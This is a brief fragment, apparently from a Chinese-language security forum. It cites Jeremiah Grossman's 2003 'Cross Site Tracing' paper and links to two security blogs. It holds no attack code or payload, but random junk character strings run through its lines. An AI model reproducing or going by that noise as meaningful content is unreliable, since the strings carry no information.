"Cross Site Tracing" (Jeremiah Grossman, January 2003)8 R4 K$ F! ]& \" i) j7 B
http://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog
1 Z" T X5 t# ^ Z空虚浪子心BLOG http://www.inbreak.net: o. z% c0 @# k* \5 I( V
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